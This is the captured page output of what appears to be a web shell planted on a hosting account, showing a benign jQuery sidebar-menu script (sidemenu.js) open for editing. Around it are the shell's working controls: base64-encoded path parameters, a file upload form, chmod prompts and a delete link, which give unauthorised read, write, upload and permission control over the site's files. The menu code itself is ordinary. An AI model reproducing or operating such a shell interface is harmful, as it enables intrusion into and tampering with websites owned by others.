<hr>sidemenu.js<form method=post action="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&f=c2lkZW1lbnUuanM%3D"><input name="f" value="sidemenu.js"><textarea name="t">(function () {
    &quot;use strict&quot;;

    var slideMenu = $(&#039;.side-menu&#039;);

    // Toggle Sidebar
    $(document).on(&#039;click&#039;, &#039;[data-bs-toggle=&quot;sidebar&quot;]&#039;, function (event) {
        event.preventDefault();
        $(&#039;.app&#039;).toggleClass(&#039;sidenav-toggled&#039;);
    });
    responsive();
   // clearing the clicking functions already present on the element
   $(&quot;[data-bs-toggle=&#039;slide&#039;]&quot;).off(&#039;click&#039;);
   $(&quot;[data-bs-toggle=&#039;sub-slide&#039;]&quot;).off(&#039;click&#039;);
   $(&quot;[data-bs-toggle=&#039;sub-slide2&#039;]&quot;).off(&#039;click&#039;);

   // initiating the click function
   $(&quot;[data-bs-toggle=&#039;slide&#039;]&quot;).on(&#039;click&#039;, function (e) {
       var $this = $(this);
       var checkElement = $this.next();
       var animationSpeed = 300,
           slideMenuSelector = &#039;.slide-menu&#039;;
       if (checkElement.is(slideMenuSelector) &amp;&amp; checkElement.is(&#039;:visible&#039;)) {
           checkElement.slideUp(animationSpeed, function () {
               checkElement.removeClass(&#039;open&#039;);
           });
           checkElement.parent(&quot;li&quot;).removeClass(&quot;is-expanded&quot;);
       } else if ((checkElement.is(slideMenuSelector)) &amp;&amp; (!checkElement.is(&#039;:visible&#039;))) {
           var parent = $this.parents(&#039;ul&#039;).first();
           var ul = parent.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
           ul.removeClass(&#039;open&#039;);
           var parent_li = $this.parent(&quot;li&quot;);
           checkElement.slideDown(animationSpeed, function () {
               checkElement.addClass(&#039;open&#039;);
               parent.find(&#039;li.is-expanded&#039;).removeClass(&#039;is-expanded&#039;);
               parent_li.addClass(&#039;is-expanded&#039;);
           });
       }
       if (checkElement.is(slideMenuSelector)) {
           e.preventDefault();
       }
   });

   // Activate sidebar slide toggle
   $(&quot;[data-bs-toggle=&#039;sub-slide&#039;]&quot;).on(&#039;click&#039;, function (e) {
       var $this = $(this);
       var checkElement = $this.next();
       var animationSpeed = 300,
           slideMenuSelector = &#039;.sub-slide-menu&#039;;
       if (checkElement.is(slideMenuSelector) &amp;&amp; checkElement.is(&#039;:visible&#039;)) {
           checkElement.slideUp(animationSpeed, function () {
               checkElement.removeClass(&#039;open&#039;);
           });
           checkElement.parent(&quot;li&quot;).removeClass(&quot;is-expanded&quot;);
       } else if ((checkElement.is(slideMenuSelector)) &amp;&amp; (!checkElement.is(&#039;:visible&#039;))) {
           var parent = $this.parents(&#039;ul&#039;).first();
           var ul = parent.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
           ul.removeClass(&#039;open&#039;);
           var parent_li = $this.parent(&quot;li&quot;);
           checkElement.slideDown(animationSpeed, function () {
               checkElement.addClass(&#039;open&#039;);
               parent.find(&#039;li.is-expanded&#039;).removeClass(&#039;is-expanded&#039;);
               parent_li.addClass(&#039;is-expanded&#039;);
           });
       }
       if (checkElement.is(slideMenuSelector)) {
           e.preventDefault();
       }
   });

   // Activate sidebar slide toggle
   $(&quot;[data-bs-toggle=&#039;sub-slide2&#039;]&quot;).on(&#039;click&#039;, function (e) {
       var $this = $(this);
       var checkElement = $this.next();
       var animationSpeed = 300,
           slideMenuSelector = &#039;.sub-slide-menu2&#039;;
       if (checkElement.is(slideMenuSelector) &amp;&amp; checkElement.is(&#039;:visible&#039;)) {
           checkElement.slideUp(animationSpeed, function () {
               checkElement.removeClass(&#039;open&#039;);
           });
           checkElement.parent(&quot;li&quot;).removeClass(&quot;is-expanded&quot;);
       } else if ((checkElement.is(slideMenuSelector)) &amp;&amp; (!checkElement.is(&#039;:visible&#039;))) {
           var parent = $this.parents(&#039;ul&#039;).first();
           var ul = parent.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
           ul.removeClass(&#039;open&#039;);
           var parent_li = $this.parent(&quot;li&quot;);
           checkElement.slideDown(animationSpeed, function () {
               checkElement.addClass(&#039;open&#039;);
               parent.find(&#039;li.is-expanded&#039;).removeClass(&#039;is-expanded&#039;);
               parent_li.addClass(&#039;is-expanded&#039;);
           });
       }
       if (checkElement.is(slideMenuSelector)) {
           e.preventDefault();
       }
   });

   // To close the sub menu dropdown by clicking on inner content
   $(&#039;.hor-content&#039;).on(&#039;click&#039;, function () {
       $(&#039;.side-menu li&#039;).each(function () {
           $(&#039;.side-menu ul.open&#039;).slideUp(300)
           $(this).parent().removeClass(&quot;is-expanded&quot;);
           $(this).parent().parent().removeClass(&quot;open&quot;);
           $(this).parent().parent().prev().removeClass(&quot;is-expanded&quot;);
           $(this).parent().parent().parent().removeClass(&quot;is-expanded&quot;);
           $(this).parent().parent().parent().parent().removeClass(&quot;open&quot;);
           $(this).parent().parent().parent().parent().parent().removeClass(&quot;is-expanded&quot;);
       })
   })

    var position = window.location.pathname.split(&#039;/&#039;);
    $(&quot;.app-sidebar li a&quot;).each(function () {
        var $this = $(this);
        var pageUrl = $this.attr(&quot;href&quot;);

        if (pageUrl) {
            if (position[position.length - 1] == pageUrl) {
                $(this).addClass(&quot;active&quot;);
                $(this).parent().addClass(&quot;is-expanded&quot;);
                $(this).parent().parent().prev().addClass(&quot;active&quot;);
                $(this).parent().parent().addClass(&quot;open&quot;);
                $(this).parent().parent().prev().addClass(&quot;is-expanded&quot;);
                $(this).parent().parent().parent().addClass(&quot;is-expanded&quot;);
                $(this).parent().parent().parent().parent().addClass(&quot;open&quot;);
                $(this).parent().parent().parent().parent().prev().addClass(&quot;active&quot;);
                $(this).parent().parent().parent().parent().parent().addClass(&quot;is-expanded&quot;);
                $(this).parent().parent().parent().parent().parent().prev().addClass(&quot;active&quot;);
                $(this).parent().parent().parent().parent().parent().prev().parent().addClass(&quot;is-expanded&quot;);
                return false;
            }
        }
    });
    if ($(&#039;.slide-item&#039;).hasClass(&#039;active&#039;)) {
        $(&#039;.app-sidebar&#039;).animate({
            scrollTop: $(&#039;a.slide-item.active&#039;).offset().top - 600
        }, 600);
    }
    if ($(&#039;.sub-slide-item&#039;).hasClass(&#039;active&#039;)) {
        $(&#039;.app-sidebar&#039;).animate({
            scrollTop: $(&#039;a.sub-slide-item.active&#039;).offset().top - 600
        }, 600);
    }


    var toggleSidebar = function () {
        var w = $(window);
        if (w.outerWidth() &lt;= 1024) {
            $(&quot;body&quot;).addClass(&quot;sidebar-gone&quot;);
            $(document).off(&quot;click&quot;, &quot;body&quot;).on(&quot;click&quot;, &quot;body&quot;, function (e) {
                if ($(e.target).hasClass(&#039;sidebar-show&#039;) || $(e.target).hasClass(&#039;search-show&#039;)) {
                    $(&quot;body&quot;).removeClass(&quot;sidebar-show&quot;);
                    $(&quot;body&quot;).addClass(&quot;sidebar-gone&quot;);
                    $(&quot;body&quot;).removeClass(&quot;search-show&quot;);
                }
            });
        } else {
            $(&quot;body&quot;).removeClass(&quot;sidebar-gone&quot;);
        }
    }
    toggleSidebar();
    $(window).resize(toggleSidebar());

    //sticky-header
    $(window).on(&quot;scroll&quot;, function (e) {
        if ($(window).scrollTop() &gt;= 70) {
            $(&#039;.app-header&#039;).addClass(&#039;fixed-header&#039;);
            $(&#039;.app-header&#039;).addClass(&#039;visible-title&#039;);
        } else {
            $(&#039;.app-header&#039;).removeClass(&#039;fixed-header&#039;);
            $(&#039;.app-header&#039;).removeClass(&#039;visible-title&#039;);
        }
    });

    $(window).on(&quot;scroll&quot;, function (e) {
        if ($(window).scrollTop() &gt;= 70) {
            $(&#039;.horizontal-main&#039;).addClass(&#039;fixed-header&#039;);
            $(&#039;.horizontal-main&#039;).addClass(&#039;visible-title&#039;);
        } else {
            $(&#039;.horizontal-main&#039;).removeClass(&#039;fixed-header&#039;);
            $(&#039;.horizontal-main&#039;).removeClass(&#039;visible-title&#039;);
        }
    });
})();

function responsive() {
    if (window.innerWidth &gt;= 992) {
        if (document.querySelector(&quot;body&quot;).classList.contains(&quot;sidenav-toggled&quot;) &amp;&amp; document.querySelector(&quot;body&quot;).classList.contains(&quot;horizontal&quot;)) {
            document.querySelector(&quot;body&quot;).classList.remove(&quot;sidenav-toggled&quot;)
        }
    }
}

function hovermenu() {

    $(&quot;.app-sidebar&quot;).hover(function () {
        if ($(&#039;.app&#039;).hasClass(&#039;sidenav-toggled&#039;)) {
            $(&#039;.app&#039;).addClass(&#039;sidenav-toggled-open&#039;);
        }
    }, function () {
        if ($(&#039;.app&#039;).hasClass(&#039;sidenav-toggled&#039;)) {
            $(&#039;.app&#039;).removeClass(&#039;sidenav-toggled-open&#039;);
        }
    });
}


//________________Horizontal js
jQuery(function () {
    &#039;use strict&#039;;
    document.addEventListener(&quot;touchstart&quot;, function () { }, false);
    jQuery(function () {
        jQuery(&#039;body&#039;).wrapInner(&#039;&lt;div class=&quot;horizontalMenucontainer&quot; /&gt;&#039;);
    });
}());

// for Icon-text Menu
//icontext(); 

// default layout
hovermenu();


// ______________HOVER JS start
function hovermenu() {
    $(&quot;.app-sidebar&quot;).hover(function () {
        if ($(&#039;body&#039;).hasClass(&#039;sidenav-toggled&#039;)) {
            $(&#039;body&#039;).addClass(&#039;sidenav-toggled-open&#039;);
        }
    }, function () {
        if ($(&#039;body&#039;).hasClass(&#039;sidenav-toggled&#039;)) {
            $(&#039;body&#039;).removeClass(&#039;sidenav-toggled-open&#039;);
        }
    });
}
// ______________HOVER JS end

// ______________ICON-OVERLAY JS start
function iconoverlay() {

    $(document).on(&#039;click&#039;, &quot;.app-content&quot;, function (event) {
        $(&#039;body&#039;).removeClass(&#039;sidenav-toggled-open&#039;);
    });

    //Mobile menu 
    var alterClass = function () {
        var ww = document.body.clientWidth;
        if (ww &lt; 992) {
            $(&#039;body&#039;).removeClass(&#039;sidenav-toggled&#039;);
        } else if (ww &gt;= 991  &amp;&amp; !(document.querySelector(&#039;.horizontal&#039;) !== null)) {
            $(&#039;body&#039;).addClass(&#039;sidenav-toggled&#039;);
        };
    };
    $(window).resize(function () {
        alterClass();
    });
    //Fire it when the page first loads:
    alterClass();

}

// ______________ICON-OVERLAY JS end


// ______________ICON-TEXT JS start
function icontext() {
    $(&quot;.app-sidebar&quot;).off(&quot;mouseenter mouseleave&quot;);

    $(document).on(&#039;click&#039;, &quot;.app-sidebar&quot;, function (event) {
        if ($(&#039;body&#039;).hasClass(&#039;sidenav-toggled&#039;) == true) {
            $(&#039;body&#039;).addClass(&#039;sidenav-toggled-open&#039;);
        }
    });

    $(document).on(&#039;click&#039;, &quot;.app-content&quot;, function (event) {
        $(&#039;body&#039;).removeClass(&#039;sidenav-toggled-open&#039;);
    });

    //Mobile menu 
    var alterClass = function () {
        var ww = document.body.clientWidth;
        if (ww &lt; 992) {
            $(&#039;body&#039;).removeClass(&#039;sidenav-toggled&#039;);
        } else if (ww &gt;= 991  &amp;&amp; !(document.querySelector(&#039;.horizontal&#039;) !== null)) {
            $(&#039;body&#039;).addClass(&#039;sidenav-toggled&#039;);
        };
    };
    $(window).resize(function () {
        alterClass();
    });
    //Fire it when the page first loads:
    alterClass();

}

// ______________ICON-TEXT JS end


let slideLeft = document.querySelector(&quot;.slide-left&quot;);
let slideRight = document.querySelector(&quot;.slide-right&quot;);
slideLeft.addEventListener(&quot;click&quot;, () =&gt; {
    slideClick()
}, true)
slideRight.addEventListener(&quot;click&quot;, () =&gt; { slideClick() }, true)

// used to remove is-expanded class and remove class on clicking arrow buttons
function slideClick() {
    let slide = document.querySelectorAll(&quot;.slide&quot;);
    let slideMenu = document.querySelectorAll(&quot;.slide-menu&quot;);
    slide.forEach((element, index) =&gt; {
        if (element.classList.contains(&quot;is-expanded&quot;) == true) {
            element.classList.remove(&quot;is-expanded&quot;)
        }
    });
    slideMenu.forEach((element, index) =&gt; {
        if (element.classList.contains(&quot;open&quot;) == true) {
            element.classList.remove(&quot;open&quot;);
            element.style.display = &quot;none&quot;;
        }
    });
}

// horizontal arrows
var sideMenu = $(&quot;.side-menu&quot;);
var slide = &quot;100px&quot;;

let menuWidth = document.querySelector(&#039;.horizontal-main&#039;)
let menuItems = document.querySelector(&#039;.side-menu&#039;)

let prevWidth = [window.innerWidth]
$(window).resize(
    () =&gt; {
        let menuWidth = document.querySelector(&#039;.horizontal-main&#039;);
        let menuItems = document.querySelector(&#039;.side-menu&#039;);
        let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)  ;  
        let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth;
        let marginLeftValue = Math.ceil(window.getComputedStyle(menuItems).marginLeft.split(&#039;px&#039;)[0]);
        let marginRightValue = Math.ceil(window.getComputedStyle(menuItems).marginRight.split(&#039;px&#039;)[0]);
        let check = menuItems.scrollWidth + (0 - menuWidth?.offsetWidth) + menuContainerWidth;
        // to check and adjst the menu on screen size change
        if ($(&#039;body&#039;).hasClass(&#039;ltr&#039;)) {
            if (marginLeftValue &gt; -check == false &amp;&amp; (menuWidth?.offsetWidth - menuContainerWidth) &lt; menuItems.scrollWidth) {
                sideMenu.stop(false, true).animate({
                    marginLeft: -check
                }, {
                    duration: 400
                })
            }
            else {
                sideMenu.stop(false, true).animate({
                    marginLeft: 0
                }, {
                    duration: 400
                })
            }
        }
        else {
            if (marginRightValue &gt; -check == false &amp;&amp; menuWidth?.offsetWidth &lt; menuItems.scrollWidth) {
                sideMenu.stop(false, true).animate({
                    marginRight: -check
                }, {
                    duration: 400
                })
            }
            else {
                sideMenu.stop(false, true).animate({
                    marginRight: 0
                }, {
                    duration: 400
                })
            }
        }
        checkHoriMenu();
        responsive();


        prevWidth.push(window.innerWidth)
        if(prevWidth.length &gt; 3){
            prevWidth.shift()
        }
        let prevValue = prevWidth[prevWidth.length-2];
        if (window.innerWidth &gt;= 992 &amp;&amp; prevValue &lt; 992 || window.innerWidth &gt;= 992) {
            if (document.querySelector(&#039;body&#039;).classList.contains(&#039;horizontal&#039;)) {
                let li = document.querySelectorAll(&#039;.side-menu li&#039;)
                li.forEach((e, i) =&gt; {
                    e.classList.remove(&#039;is-expanded&#039;)
                })
                var animationSpeed = 300;
                // first level
                var parent = $(&quot;[data-bs-toggle=&#039;sub-slide&#039;]&quot;).parents(&#039;ul&#039;);
                var ul = parent.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
                ul.removeClass(&#039;open&#039;);
                var parent1 = $(&quot;[data-bs-toggle=&#039;sub-slide2&#039;]&quot;).parents(&#039;ul&#039;);
                var ul1 = parent1.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
                ul1.removeClass(&#039;open&#039;);
            }
        }
        else{
            ActiveSubmenu();
        }
    }
)

function ActiveSubmenu(){

    var position = window.location.pathname.split(&#039;/&#039;);
    $(&quot;.app-sidebar li a&quot;).each(function () {
        var $this = $(this);
        var pageUrl = $this.attr(&quot;href&quot;);
        let prevValue = prevWidth[prevWidth.length-2];
        setTimeout(() =&gt; {
            if ((window.innerWidth &lt; 992 &amp;&amp;  prevValue &gt; 992 )|| document.querySelector(&#039;body&#039;).classList.contains(&#039;horizontal&#039;) != true){
                if (pageUrl) {
                    if (position[position.length - 1] == pageUrl) {
                        $(this).addClass(&quot;active&quot;);
                        $(this).parent().addClass(&quot;is-expanded&quot;);
                        $(this).parent().parent().prev().addClass(&quot;active&quot;);
                        $(this).parent().parent().prev().addClass(&quot;is-expanded&quot;);
                        $(this).parent().parent().parent().addClass(&quot;is-expanded&quot;);
                        $(this).parent().parent().parent().parent().prev().addClass(&quot;active&quot;);
                        $(this).parent().parent().parent().parent().parent().addClass(&quot;is-expanded&quot;);
                        $(this).next().slideDown(300, function () {});$(this).parent().parent().slideDown(300, function (){
                            $(this).parent().parent().addClass(&quot;open&quot;);
                        });
                        $(this).parent().parent().parent().parent().slideDown(300, function (){
                            $(this).parent().parent().parent().parent().addClass(&quot;open&quot;);
                        });
                        $(this).parent().parent().parent().parent().parent().prev().addClass(&quot;active&quot;);
                        $(this).parent().parent().parent().parent().parent().prev().parent().addClass(&quot;is-expanded&quot;);
                        return false;
                    }
                }
            } 
        }, 100); 
    });
}

function checkHoriMenu() {
    setTimeout(()=&gt;{
        let menuWidth = document.querySelector(&#039;.horizontal-main&#039;)
        let menuItems = document.querySelector(&#039;.side-menu&#039;)
        let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)    
        let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth
        let marginLeftValue = Math.ceil(window.getComputedStyle(menuItems).marginLeft.split(&#039;px&#039;)[0]);
        let marginRightValue = Math.ceil(window.getComputedStyle(menuItems).marginRight.split(&#039;px&#039;)[0]);
        let check = menuItems.scrollWidth + (0 - menuWidth?.offsetWidth) + menuContainerWidth;

        if ($(&#039;body&#039;).hasClass(&#039;ltr&#039;)) {
            menuItems.style.marginRight = 0
        }
        else {
            menuItems.style.marginLeft = 0;
        }

        if(menuItems.scrollWidth - 2 &lt; (menuWidth?.offsetWidth - menuContainerWidth)){
            $(&quot;#slide-right&quot;).addClass(&quot;d-none&quot;);
            $(&quot;#slide-left&quot;).addClass(&quot;d-none&quot;);
        }
        else if(marginLeftValue != 0 ){
            $(&quot;#slide-left&quot;).removeClass(&quot;d-none&quot;);
        }
        else if(marginLeftValue != -check){
            $(&quot;#slide-right&quot;).removeClass(&quot;d-none&quot;);
        }
        else if(marginRightValue != 0 ){
            $(&quot;#slide-left&quot;).removeClass(&quot;d-none&quot;);
        }
        else if(marginRightValue != -check){
            $(&quot;#slide-right&quot;).removeClass(&quot;d-none&quot;);
        }
    },100)
}
checkHoriMenu();
$(document).on(&quot;click&quot;, &quot;.ltr #slide-left&quot;, function () {
    let menuWidth = document.querySelector(&#039;.horizontal-main&#039;)
    let menuItems = document.querySelector(&#039;.side-menu&#039;)
    let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)    
    let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth
    let marginLeftValue = Math.ceil(window.getComputedStyle(menuItems).marginLeft.split(&#039;px&#039;)[0]) + 100;

    if (marginLeftValue &lt; 0) {
        sideMenu.stop(false, true).animate({
            // marginRight : 0,
            marginLeft: &quot;+=&quot; + slide
        }, {
            duration: 400
        })
        if((menuWidth?.offsetWidth - menuContainerWidth)  &lt; menuItems.scrollWidth){
            $(&quot;#slide-right&quot;).removeClass(&quot;d-none&quot;);
        }
    }
    else{
    	$(&quot;#slide-left&quot;).addClass(&quot;d-none&quot;);
    }

    if (marginLeftValue &gt;= 0) {
        sideMenu.stop(false, true).animate({
            // marginRight : 0,
            marginLeft: 0
        }, {
            duration: 400
        })
        
        if(menuWidth?.offsetWidth &lt; menuItems.scrollWidth){
            // $(&quot;#slide-left&quot;).addClass(&quot;d-none&quot;);
        }
    }
    // to remove dropdown when clicking arrows in horizontal menu
    let subNavSub = document.querySelectorAll(&#039;.sub-nav-sub&#039;);
    subNavSub.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    let subNav = document.querySelectorAll(&#039;.nav-sub&#039;)
    subNav.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    //
});
$(document).on(&quot;click&quot;, &quot;.ltr #slide-right&quot;, function () {
    let menuWidth = document.querySelector(&#039;.app-sidebar&#039;)
    let menuItems = document.querySelector(&#039;.side-menu&#039;)
    let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)
    let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth
    let marginLeftValue = Math.ceil(window.getComputedStyle(menuItems).marginLeft.split(&#039;px&#039;)[0]) - 100;
    let check = menuItems.scrollWidth + (0 - menuWidth?.offsetWidth) + menuContainerWidth;
    if (marginLeftValue &gt; -check) {
        sideMenu.stop(false, true).animate({
            // marginLeft : 0,
            marginLeft: &quot;-=&quot; + slide,
            marginRight: 0,
        }, {
            duration: 400
        })
    }
    else {
        sideMenu.stop(false, true).animate({
            // marginLeft : 0,
            marginRight: 0,
            marginLeft: -check
        }, {
            duration: 400
        });

        $(&quot;#slide-right&quot;).addClass(&quot;d-none&quot;);
    }

    if (marginLeftValue != 0) {
        $(&quot;#slide-left&quot;).removeClass(&quot;d-none&quot;);
    }
    // to remove dropdown when clicking arrows in horizontal menu
    let subNavSub = document.querySelectorAll(&#039;.sub-nav-sub&#039;);
    subNavSub.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    let subNav = document.querySelectorAll(&#039;.nav-sub&#039;)
    subNav.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    //
});

$(document).on(&quot;click&quot;, &quot;.rtl #slide-left&quot;, function () {
    let menuWidth = document.querySelector(&#039;.horizontal-main&#039;)
    let menuItems = document.querySelector(&#039;.side-menu&#039;)
    let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)    
    let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth
    let marginRightValue = Math.ceil(window.getComputedStyle(menuItems).marginRight.split(&#039;px&#039;)[0]) + 100;

    if (marginRightValue &lt; 0) {
        sideMenu.stop(false, true).animate({
            // marginRight : 0,
            marginLeft: 0,
            marginRight: &quot;+=&quot; + slide
        }, {
            duration: 400
        })
        if((menuWidth?.offsetWidth - menuContainerWidth)  &lt; menuItems.scrollWidth){
            $(&quot;#slide-right&quot;).removeClass(&quot;d-none&quot;);
        }
    }
    else {
        $(&quot;#slide-left&quot;).addClass(&quot;d-none&quot;);
    }

    if (marginRightValue &gt;= 0) {
        $(&quot;#slide-left&quot;).addClass(&quot;d-none&quot;);
        sideMenu.stop(false, true).animate({
            // marginRight : 0,
            marginLeft: 0
        }, {
            duration: 400
        })
    }
    // to remove dropdown when clicking arrows in horizontal menu
    let subNavSub = document.querySelectorAll(&#039;.sub-nav-sub&#039;);
    subNavSub.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    let subNav = document.querySelectorAll(&#039;.nav-sub&#039;)
    subNav.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    //
});
$(document).on(&quot;click&quot;, &quot;.rtl #slide-right&quot;, function () {
    let menuWidth = document.querySelector(&#039;.app-sidebar&#039;)
    let menuItems = document.querySelector(&#039;.side-menu&#039;)
    let mainSidemenuWidth = document.querySelector(&#039;.main-sidemenu&#039;)
    let menuContainerWidth = menuWidth?.offsetWidth - mainSidemenuWidth?.offsetWidth
    let marginRightValue = Math.ceil(window.getComputedStyle(menuItems).marginRight.split(&#039;px&#039;)[0]) - 100;
    let check = menuItems.scrollWidth + (0 - menuWidth?.offsetWidth) + menuContainerWidth;
    if (marginRightValue &gt; -check) {
        sideMenu.stop(false, true).animate({
            // marginLeft : 0,
            marginLeft: 0,
            marginRight: &quot;-=&quot; + slide
        }, {
            duration: 400
        })

    }
    else {
        sideMenu.stop(false, true).animate({
            // marginLeft : 0,
            marginLeft: 0,
            marginRight: -check
        }, {
            duration: 400
        })
        $(&quot;#slide-right&quot;).addClass(&quot;d-none&quot;);
    }

    if (marginRightValue != 0) {
        $(&quot;#slide-left&quot;).removeClass(&quot;d-none&quot;);
    }
    // to remove dropdown when clicking arrows in horizontal menu
    let subNavSub = document.querySelectorAll(&#039;.sub-nav-sub&#039;);
    subNavSub.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })
    let subNav = document.querySelectorAll(&#039;.nav-sub&#039;)
    subNav.forEach((e) =&gt; {
        e.style.display = &#039;&#039;;
    })

});

// FOOTER
document.getElementById(&quot;year&quot;).innerHTML = new Date().getFullYear();

document.querySelector(&#039;.main-content&#039;).addEventListener(&#039;click&#039;, ()=&gt;{
    if (document.querySelector(&#039;body&#039;).classList.contains(&#039;horizontal&#039;)) {
        let li = document.querySelectorAll(&#039;.side-menu li&#039;)
        li.forEach((e, i) =&gt; {
            e.classList.remove(&#039;is-expanded&#039;)
        })
        var animationSpeed = 300;
        // first level
        var parent = $(&quot;[data-bs-toggle=&#039;sub-slide&#039;]&quot;).parents(&#039;ul&#039;);
        var ul = parent.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
        ul.removeClass(&#039;open&#039;);
        var parent1 = $(&quot;[data-bs-toggle=&#039;sub-slide2&#039;]&quot;).parents(&#039;ul&#039;);
        var ul1 = parent1.find(&#039;ul:visible&#039;).slideUp(animationSpeed);
        ul1.removeClass(&#039;open&#039;);
    }
}, true)</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /home/induvedam/public_html/assets/plugins/sidemenu<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>25</td></tr><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5z"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&x=c2lkZW1lbnUuanM=">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&f=c2lkZW1lbnUuanM="/>sidemenu.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL3NpZGVtZW51&f=c2lkZW1lbnUuanM=&c=`+btoa(c):0" value="0644"></td><td>24465</td></tr></table>